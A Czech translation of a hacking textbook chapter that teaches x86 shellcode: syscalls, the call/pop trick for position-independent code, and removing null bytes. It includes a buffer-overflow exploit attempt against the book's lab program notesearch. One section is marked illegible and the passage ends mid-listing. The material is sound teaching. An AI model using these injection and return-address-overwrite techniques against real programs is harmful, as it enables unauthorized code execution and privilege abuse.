

0x500

SHELLKÓD

Shellkód, který jsme až doposud používali v našich exploitech, byl pouhý řetězec zkopírovaných a vložených bajtů. Viděli jste standardní shellkód plodící shell pro lokální exploity a shellkód navazující se na port pro vzdálené exploity. Shellkódu se také někdy říká exploitační granát, protože se jedná o soběstačné programy, které vykonají svou práci, jakmile se nabouráte do programu. Shellkód obvykle zplodí shell, protože to je velmi elegantní způsob, jak přehrát řízení na někoho jiného. Může ovšem dělat i něco úplně jiného, cokoliv, co programy dovedou.

Pro mnoho hackerů ovšem příběh o shellkódu končí u kopírování a vkládání bajtů. Bohužel. Takoví hackeři smočili pouze palec v moři možného. Vlastní shellkód dává absolutní kontrolu nad exploitovaným programem. Možná chcete, aby váš shellkód přidal administrátorský účet do `/etc/passwd`, nebo aby automaticky odstraňoval řádky z protokolovacích souborů. Jakmile víte, jak napsat vlastní shellkód, jsou vaše exploitační možnosti limitovány pouze vaší představivostí. A navíc – když píšete shellkódy, rozvíjíte své dovednosti týkající se jazyka assembler a osvojujete si řadu hackerských technik, které opravdu stojí za to umět.

0x510 Assembler versus C

Bajty shellkódu jsou ve skutečnosti strojové instrukce, které jsou specifické pro danou architekturu, protože se shellkód píše v assembleru. Psát program v assembleru je něco jiného, než když se píše program v C, mnohé principy jsou ovšem podobné. Věci, jako jsou vstup, výstup, řízení procesů, přístup k souborům a komunikace po síti, jsou operačním systémem spravovány v kernelu. Zkompilované programy C pak provádějí tyto úlohy tak, že činí systémová volání do kernelu. Různé operační systémy mají různé sady systémových volání.

V C se kvůli pohodlí a přenositelnosti používají standardní knihovny. Program v jazyku C, který pro výstup řetězce používá `printf()`, je možné zkompileovat pro mnoho různých systémů, protože knihovna zná patřičná systémová volání pro jednotlivé architektury. Program C, který byl zkompileován na procesoru x86, vyprodukuje kód assembleru pro procesor x86.

Jazyk assembler je už ze své definice specifický ke konkrétní procesorové architektuře, takže přenositelnost není možná. Nejsou zde žádné standardní knihovny; systémová volání do kernelu se musejí činit přímo. Abychom si obojí mohli porovnat názorně, začneme jednoduchým programem C, který poté přepíšeme do assembleru x86.

helloworld.c

```
#include <stdio.h>

int main() {
    printf("Hello, world!\n");
    return 0;
}
```

Jakmile zkompileovaný program poběží, vykonávání proteče standardní knihovnou I/O a učiní se systémové volání, aby se na obrazovku vypsál řetězec "Hello, world!". Systémová volání programu se dají sledovat programem strace. Pokud ho budeme aplikovat na zkompileovaný program helloworld.c, zobrazí všechna systémová volání, která program učinil.

```
reader@hacking:~/booksrc $ gcc helloworld.c
reader@hacking:~/booksrc $ strace ./a.out
execve("./a.out", ["/a.out"], [/* 27 vars */]) = 0
brk(0) = 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0xb7ef6000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0
mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\1\0\0\0\20Z\1\000"... , 512)
= 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0
mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|
MAP_DENYWRITE, 3, 0) = 0xb7db3000
mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|
MAP_DENYWRITE, 3, 0x12c) = 0xb7ee0000
mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|
MAP_ANONYMOUS, -1, 0) = 0xb7ee4000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|
MAP_ANONYMOUS, -1, 0) = 0xb7db2000
```

```

set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575,
  seg_32bit:1,contents:0, read_exec_only:0, limit_in_pages:1, seg_not_
  present:0, useable:1}) = 0
mprotect(0xb7ee0000, 8192, PROT_READ)      = 0
munmap(0xb7ee7000, 61323)                  = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
  0xb7ef5000
write(1, "Hello, world!\n", 13Hello, world! ) = 13
exit_group(0) = ?
Process 11528 detached
reader@hacking:~/booksrc $

```

Jak sami vidíte, zkompileovaný program dělá celou řadu věcí, nikoliv pouze to, že vytiskne řetězec. Systémová volání na začátku připravují prostředí a paměť pro program. Pověšiměte si důležité části, kterou je systémové volání `write()` zvýrazněné tučně. Tam se skutečně vypíše řetězec

Manuálové stránky Unixu, ke kterým se přistupuje prostřednictvím příkazu `man`, jsou rozděleny do jednotlivých sekcí. Sekce 2 obsahuje manuálovou stránku pro systémová volání, takže pokud zadáte příkaz `man 2 write`, dozvíte se, jakým způsobem se používá systémové volání `write()`:

Manuálová stránka pro systémové volání `write()`

```

WRITE(2)      Linux Programmer's Manual
WRITE(2)

```

NÁZEV

`write` – zapisuje do deskriptoru souboru

SYNOPSIS

```

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

```

POPIS

`write()` zapíše až `count` bajtů do souboru, na který se odkazuje deskriptorem `fd`, z bufferu, jenž začíná na `buf`. POSIX požaduje, aby `read()`, k němuž může dojít po `write()`, vrátil nová data. Připomínáme, že všechny souborové systémy nejsou v souladu s POSIX.

Výstup z programu strace rovněž ukáže argumenty systémového volání. Argumenty `buf` a `count` jsou ukazatele na náš řetězec a jeho délka. Argument `fd`, 1, je speciální standardní souborový deskriptor. V Unixu se souborové deskriptory používají pro téměř všechno: vstup, výstup, přístup k souboru, síťové sockety atd. Souborový deskriptor lze přirovnat k situaci, kdy dáváte kabát do

čistírny, protože dostanete lístek s číslem. A pomocí tohoto čísla se poté můžete odkazovat na svůj kabát. První tři čísla souborových deskriptorů (0, 1, 2) se automaticky používají pro standardní vstup, výstup a výstup chyb. Tyto hodnoty jsou standardní a jsou definovány na několika místech, například v souboru `/usr/include/unistd.h`:

Výňatek z `/usr/include/unistd.h`

```
/* Standardní souborové deskriptory. */
#define STDIN_FILENO 0      /* Standardní vstup. */
#define STDOUT_FILENO 1    /* Standardní výstup. */
#define STDERR_FILENO 2    /* Standardní výstup chyb. */
```

Zapisování bajtů na souborový deskriptor 1 standardního výstupu znamená, že se bajty vytisknou; čtení ze souborového deskriptoru 0 standardního vstupu znamená, že se bajty načtou. Se souborovým deskriptorem 2 standardního výstupu chyb se zobrazují chyby nebo ladicí zprávy, aby byly odděleny od standardního výstupu.

0x511 *Linuxová systémová volání v assembleru*

Každé možné systémové volání má v Linuxu přiřazené číslo, takže pokud v assembleru potřebujete vykonat nějaké volání, lze se na něj odkázat prostřednictvím čísla. Čísla systémových volání jsou uvedena v souboru `/usr/include/asm-i386/unistd.h`.

Výňatek z `/usr/include/asm-i386/unistd.h`

```
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
 * Tento soubor obsahuje čísla systémových volání.
 */

#define __NR_restart_syscall 0
#define __NR_exit            1
#define __NR_fork            2
#define __NR_read            3
#define __NR_write           4
#define __NR_open            5
#define __NR_close           6
#define __NR_waitpid         7
#define __NR_creat           8
#define __NR_link            9
#define __NR_unlink          10
#define __NR_execve          11
```

```

#define __NR_chdir      12
#define __NR_time       13
#define __NR_mknod      14
#define __NR_chmod      15
#define __NR_lchown     16
#define __NR_break      17
#define __NR_oldstat    18
#define __NR_lseek      19
#define __NR_getpid     20
#define __NR_mount      21
#define __NR_umount     22
#define __NR_setuid     23
#define __NR_getuid     24
#define __NR_stime      25
#define __NR_ptrace     26
#define __NR_alarm      27
#define __NR_oldfstat   28
#define __NR_pause      29
#define __NR_utime      30
#define __NR_stty       31
#define __NR_gtty       32
#define __NR_access     33
#define __NR_nice       34
#define __NR_ftime      35
#define __NR_sync       36
#define __NR_kill       37
#define __NR_rename     38
#define __NR_mkdir      39
...

```

Abychom přepsali soubor `helloworld.c` do assembleru, budeme muset učinit jedno systémové volání funkce `write()` pro výstup a druhým zavolat `exit()`, aby proces hladce skončil. V assembleru x86 se to zařídí pouze dvěma assemblerovými instrukcemi: `mov a int`.

Assemblerové instrukce pro procesor x86 mají jeden, dva, tři, nebo žádný operand. Operandy instrukce mohou být číselné hodnoty, paměťové adresy, nebo procesorové registry. Procesor x86 má několik 32bitových registrů, na které lze pohlížet jako na hardwarové proměnné. Registry EAX, EBX, ECX, EDX, ESI, EDI, EBP a ESP se dají použít jako operandy, registr EIP nikoliv.

Instrukce `mov` kopíruje hodnotu mezi svými dvěma operandy. V assemblerové syntaxi Intel je první operand cíl, druhý operand je zdroj. Instrukce `int` odešle do kernelu přerušovací signál, který je definován jejím jediným operandem. V kernelu Linuxu se přerušením `0x80` říká, aby učinil nějaké systémové volání. Když se vykonává instrukce `int 0x80`, kernel učiní systémové volání na základě prvních čtyř registrů. Registr EAX specifikuje, o které systémové volání jde, zatímco registry EBX,

ECX a EDX jsou použity pro první, druhý a třetí argument daného systémového volání. Všechny tyto registry se dají nastavit instrukcí `mov`.

V níže uvedeném výpisu kódu assembleru se deklarují paměťové segmenty. Řetězec "Hello, world!" se znakem pro nový řádek (newline, `0x0a`) je umístěn v segmentu `data`, skutečné assemblerové instrukce jsou v segmentu `text`. Tím jsou dodrženy řádné praktiky při segmentaci paměti.

helloworld.asm

```
section .data                ; Segment data
msg db "Hello, world!", 0x0a ; Řetězec a znak pro nový řádek, newline

section .text                ; Segment text
global _start                ; Výchozí vstupní bod pro linker ELF

_start:
; SYSCALL: write(1, msg, 14)
mov eax, 4                  ; Dá 4 do eax, protože write je systémové volání č. 4.
mov ebx, 1                  ; Dá 1 do ebx, protože standardní výstup je 1.
mov ecx, msg                 ; Dá adresu řetězce do ecx.
mov edx, 14                 ; Dá 14 do edx, protože řetězec má 14 bajtů.
int 0x80                    ; Zavolá kernel, aby učinil systémové volání.

; SYSCALL: exit(0)
mov eax, 1                  ; Dá 1 do eax, protože exit je systémové volání č. 1.
mov ebx, 0                  ; Exit úspěšný.
int 0x80                    ; Učiní systémové volání.
```

Instrukce programu jsou bezproblémové. Pro systémové volání `write()` na standardní výstup se do EAX umístí hodnota 4, protože funkce `write()` je systémové volání, které má přiřazeno číslo 4. Poté se do EBX dá hodnota 1, protože první argument funkce `write()` musí být souborový deskriptor pro standardní výstup. Do ECX se dá adresa řetězce v segmentu `data` a do EDX délka řetězce (v tomto případě 14 bajtů). Poté, co se tyto registry načtou, spustí se přerušení (interrupt), které zavolá funkci `write()`.

Aby program skončil hladce, je třeba zavolat funkci `exit()` s jediným argumentem 0. Do registru EAX se tedy vloží hodnota 1, protože `exit()` je systémové volání s přiřazeným číslem 1. Do EBX se dá 0, protože první a zároveň jediný argument má být 0. Poté se znovu spustí přerušení.

Abychom z kódu vytvořili spustitelný binární program, kód assembleru musíme sestavit a nalinkovat do spustitelného formátu. Když kompilujeme kód C, o všechno se automaticky postará kompilátor GCC. My se chystáme vytvořit binární ELF (executable and linking format) soubor, takže řádek `global _start` říká linkeru (sestavovacímu programu), kde začínají instrukce assembleru.

Assembler `nasm` s argumentem `-f elf` sestaví `helloworld.asm` do objektového souboru, který už bude možné nalinkovat (linked) jako binární ELF soubor. Tento objektový soubor standardně

dostane název `helloworld.o`. Sestavovací program `ld` vyprodukuje ze sestaveného objektového souboru spustitelný binární soubor `a.out`.

```
reader@hacking:~/booksrc $ nasm -f elf helloworld.asm
reader@hacking:~/booksrc $ ld helloworld.o
reader@hacking:~/booksrc $ ./a.out
Hello, world!
reader@hacking:~/booksrc $
```

Ačkoliv tento malinkatý prográmeček funguje, nejedná se o shellkód, protože není soběstačný a musí být nalinkován (linked).

0x520 Cesta k shellkódu

Shellkód se doslovně injektuje do běžícího programu, kde pak funguje jako virus uvnitř buňky. Protože shellkód není opravdový spustitelný program, nemůžeme si dovolit luxus deklarovat rozvržení dat v paměti nebo dokonce používat jiné paměťové segmenty. Jeho instrukce musejí být soběstačné a připravené tak, aby uměly rovnou převzít kontrolu nad procesorem, bez ohledu na jeho aktuální stav. Obvykle se tomu říká kód nezávislý na pozici (position-independent code).

V shellkódu se musejí bajty řetězce "Hello, world!" šikovně smíchat s bajty assemblerových instrukcí, protože nemáme dispozici paměťové segmenty, které bychom mohli definovat nebo odhadovat. To půjde, pokud se ovšem EIP nepokusí interpretovat řetězec jako instrukce. Pokud budete chtít přistoupit k řetězci jako k datům, budete potřebovat nějaký ukazatel na tento řetězec. Když se shellkód začne vykonávat, může být v paměti kdekoli, takže jeho absolutní adresa v paměti se musí vypočítat relativně vzhledem k EIP. Protože k EIP není možné přistupovat z assemblerových instrukcí, musíme se uchýlit k nějakému triku.

0x521 Assemblerové instrukce používající zásobník

Zásobník je natolik integrální součástí architektury x86, že pro práci s ním existuje několik speciálních instrukcí, viz následující tabulka.

Instrukce	Popis
<code>push <source></code>	Strčí operand <i>source</i> do zásobníku.
<code>pop <target></code>	Vytáhne hodnotu ze zásobníku a uloží ji v operandu <i>target</i> .
<code>call <location></code>	Zavolá nějakou funkci a vykonávání odskočí na adresu uvedenou v operandu <i>location</i> . Umístění může být relativní či absolutní. Adresa instrukce následující za voláním se uloží do zásobníku, takže vykonávání se může později vrátit.
<code>ret</code>	Návrat z funkce. Vytáhne návratovou adresu ze zásobníku a vykonávání skočí na ni.

Exploity založené na zásobníku se uskutečňují prostřednictvím instrukcí `call` a `ret`. Když se zavolá nějaká funkce, strčí se do zásobníku návratová adresa příští instrukce. Když funkce skončí, instrukce `ret` vytáhne návratovou adresu ze zásobníku a EIP skočí zpět. Pokud přepíšeme návratovou adresu uloženou na zásobníku ještě před vykonáním instrukce `ret`, můžeme převzít kontrolu nad vykonáváním programu.

Tato architektura může být zneužita ještě jedním způsobem pro vyřešení problému s adresováním řádkových (inline) dat řetězce. Pokud je řetězec umístěn ihned za instrukcí `call`, adresa řetězce bude strčena do zásobníku jako návratová adresa. Takže místo toho, abychom zavolali funkci, rovnou skočíme za řetězec k instrukci `pop`, která vytáhne adresu ze zásobníku a dá ji do registru. Tuto techniku předvádějí následující assemblerové instrukce.

helloworld1.s

```
BITS 32 ; Říká nasm, že se jedná o 32bitový kód.

call mark_below ; Zavolá instrukce nacházející se pod řetězcem
db "Hello, world!", 0x0a, 0x0d ; s bajty newline a carriage return.

mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop ecx ; Vytáhne návratovou adresu (string ptr) do ecx.
mov eax, 4 ; Zapiše číslo systémového volání
mov ebx, 1 ; Deskriptor souboru pro STDOUT
mov edx, 15 ; Délka řetězce
int 0x80 ; Učiní systémové volání: write(1, string, 14)

; void _exit(int status);
mov eax, 1 ; Číslo systémového volání exit
mov ebx, 0 ; Stav = 0
int 0x80 ; Učiní systémové volání: exit(0)
```

Instrukce `call` skočí s vykonáváním pod řetězec. Zároveň také strčí adresu příští instrukce do zásobníku. Touto příští instrukcí je v našem případě začátek řetězce. Návratovou adresu lze okamžitě ze zásobníku vytáhnout do příhodného registru. Nepoužili jsme žádné paměťové segmenty, pouze surové instrukce, které se, když je injektujeme do existujícího procesu, vykonají zcela nezávisle na své pozici. To znamená, že když jsou tyto instrukce sestaveny (assembled), nemohou být nalinkovány (linked) do spustitelného programu.

```
reader@hacking:~/booksrc $ nasm helloworld1.s
reader@hacking:~/booksrc $ ls -l helloworld1
-rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1
reader@hacking:~/booksrc $ hexdump -C helloworld1
00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|
```



```

00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!...Y.....|
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |.....|
00000030 cd 80 |..|
00000032
reader@hacking:~/booksrc $ ndisasm -b32 helloworld1
00000000 E80F000000 call 0x14
00000005 48          dec eax
00000006 656C       gs insb
00000008 6C         insb
00000009 6F         outsd
0000000A 2C20       sub al,0x20
0000000C 776F       ja 0x7d
0000000E 726C       jc 0x7c
00000010 64210A     and [fs:edx],ecx
00000013 0D59B80400 or eax,0x4b859
00000018 0000       add [eax],al
0000001A BB01000000 mov ebx,0x1
0000001F BA0F000000 mov edx,0xf
00000024 CD80       int 0x80
00000026 B801000000 mov eax,0x1
0000002B BB00000000 mov ebx,0x0
00000030 CD80 i      nt 0x80
reader@hacking:~/booksrc $

```

Assembler nasm konvertuje kód assembleru do strojového kódu a odpovídající nástroj ndisasm převádí strojový kód do kódu assembleru. Oba nástroje jsme použili výše, abychom ukázali, jaký je vztah mezi strojovým kódem a assemblerovými instrukcemi. Disassemblované instrukce zobrazí bajty řetězce "Hello, world!" interpretované jako instrukce.

Pokud bychom v této chvíli injektovali tento shellkód do programu a přesměrovali EIP, program vytiskne "Hello, world!". Vyzkoušejme již známý program notesearch jako cíl tohoto exploitu.

```

reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff9c6
reader@hacking:~/booksrc $ ./notesearch $(perl -e '
                                print "\xc6\xf9\xff\xbf"x40')
-----[ end of note data ]-----
Segmentation fault
reader@hacking:~/booksrc $

```

Krach. Proč myslíte, že to selhalo? V těchto situacích se vaším nejlepším přítelem stává GDB. Ale i když je vám možná jasné, co je v pozadí tohoto konkrétního selhání, naučíte-li se efektivně pracovat s debuggerem, v budoucnosti budete schopni mnohem snáze řešit i jiné problémy.

0x522 Vyšetřování s GDB

Protože program notesearch běží jako root, nemůžeme ho ladit jako normální uživatel. Nemůžeme se ovšem ani připojit k jeho běžící kopii, protože skončí velmi brzy. Programy se naštěstí dají ladit i jinak, prostřednictvím tzv. dumpu paměti, který je uložen v souboru. Z výzvy root je možné operačnímu systému říci, aby při havárii programu provedl dump paměti. K tomu slouží příkaz `ulimit -c unlimited`, který zajistí, že vytvořené soubory core mohou být tak velké, jak je to potřeba. Abych to nějak shrnul – když náš program nyní zhavaruje, na disk bude zapsán dump paměti ve formě souboru core, který je následně možné prozkoumat prostřednictvím GDB.

[illegible]

```

root@hacking:/home/reader/booksrc # hexdump -C helloworld1
00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y.....|
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |.....|
00000030 cd 80 |..|
00000032
root@hacking:/home/reader/booksrc #

```

Poté, co se GDB načetl, přepnul jsem styl disassemblování na Intel. Protože jsme GDB spustili jako root, soubor `.gdbinit` se nepoužije. Nyní prozkoumáme paměť, kde by se měl nacházet náš shellkód. Instrukce vypadají podivně a zdá se, že krach programu zavinila první nesprávná instrukce `call`. Ačkoliv došlo k přesměrování vykonávání, stalo se poté něco špatného s bajty shellkódu. Za normálních okolností jsou řetězce ukončeny bajtem null, ale zde byl shell natolik ochotný a laskavý, že tyto bajty null odstranil za nás. Tím ovšem totálně zničil význam strojového kódu. Shellkód se do procesů často injektuje v podobě řetězce, pomocí funkcí jako je `strcpy()`. Takové funkce jednoduše končí, jakmile narazí na první bajt null, takže dojde k tomu, že v paměti bude vyprodukován nekompletní a nepoužitelný shellkód. Aby náš shellkód přežil tranzit bez úhony, musíme ho trochu předělat, aby neobsahoval žádné bajty null.

0x523 Odstranění bajtů null

Když se podíváme na disassemblovaný výstup, je naprosto evidentní, že první bajty null pocházejí z instrukce `call`.

```

reader@hacking:~/booksrc $ ndisasm -b32 helloworld1
00000000 E80F000000 call 0x14
00000005 48          dec eax
00000006 656C       gs insb
00000008 6C         insb
00000009 6F         outsd
0000000A 2C20       sub al,0x20
0000000C 776F       ja 0x7d
0000000E 726C       jc 0x7c
00000010 64210A     and [fs:edx],ecx
00000013 0D59B80400 or eax,0x4b859
00000018 0000       add [eax],al
0000001A BB01000000 mov ebx,0x1
0000001F BA0F000000 mov edx,0xf
00000024      CD80 int 0x80
00000026 B801000000 mov eax,0x1
0000002B BB00000000 mov ebx,0x0
00000030      CD80 int 0x80
reader@hacking:~/booksrc $

```

Tato instrukce na základě prvního argumentu skočí s vykonáváním dopředu o 19 bajtů (0x13). Protože instrukce `call` umožňuje odskoky i na mnohem větší vzdálenost, musejí se malé hodnoty, jako je 19, vyplnit vedoucími nulami, což vede na bajty null.

S tímto je možné se vypořádat různě – jedna z cest vede přes dvojkový doplněk. Malé záporné číslo bude mít své vedoucí bity zapnuté, což povede na bajty 0xff. To znamená, že budeme-li volat s využitím záporné hodnoty, abychom se s vykonáváním posunuli dozadu, strojový kód nebude mít pro tuto instrukci žádné bajty null. Následující revidovaná verze shellkódu `helloworld2.s` používá standardní implementaci této finty – skočí na konec shellkódu k instrukci `call`, která poté skočí zase zpět k instrukci `pop` nacházející se na začátku shellkódu.

helloworld2.s

`BITS 32` ; Říká nasm, že se jedná o 32bitový kód.

`jmp short one` ; Skočí dolů, k volání na konci.

`two:`

```
; ssize_t write(int fd, const void *buf, size_t count);
pop ecx ; Vytáhne návratovou adresu (string ptr) do ecx.
mov eax, 4 ; Zapiše číslo systémového volání.
mov ebx, 1 ; Souborový deskriptor pro STDOUT.
mov edx, 15 ; Délka řetězce.
int 0x80 ; Učiní systémové volání: write(1, string, 14)
```

```
; void _exit(int status);
mov eax, 1 ; Číslo systémového volání exit
mov ebx, 0 ; Stav = 0
int 0x80 ; Učiní systémové volání: exit(0)
```

`one:`

`call two` ; Zavolá zpět nahoru, abychom se vyvarovali bajtů null,
`db "Hello, world!", 0x0a, 0x0d` ; s bajty newline a carriage return.

Když sestavíme nový shellkód, disassemblovaný výpis ukáže, že instrukce `call` je již zbavena bajtů null. Ačkoliv jsme tímto vyřešili první a nejobtížnější část problému s bajty null shellkódu, následující výpis ukazuje, že se v něm nachází ještě mnoho dalších bajtů null (jsou zvýrazněny tučně).

```
reader@hacking:~/booksrc $ nasm helloworld2.s
reader@hacking:~/booksrc $ ndisasm -b32 helloworld2
00000000 EB1E jmp short 0x20
00000002 59 pop ecx
00000003 B804000000 mov eax,0x4
00000008 BB01000000 mov ebx,0x1
```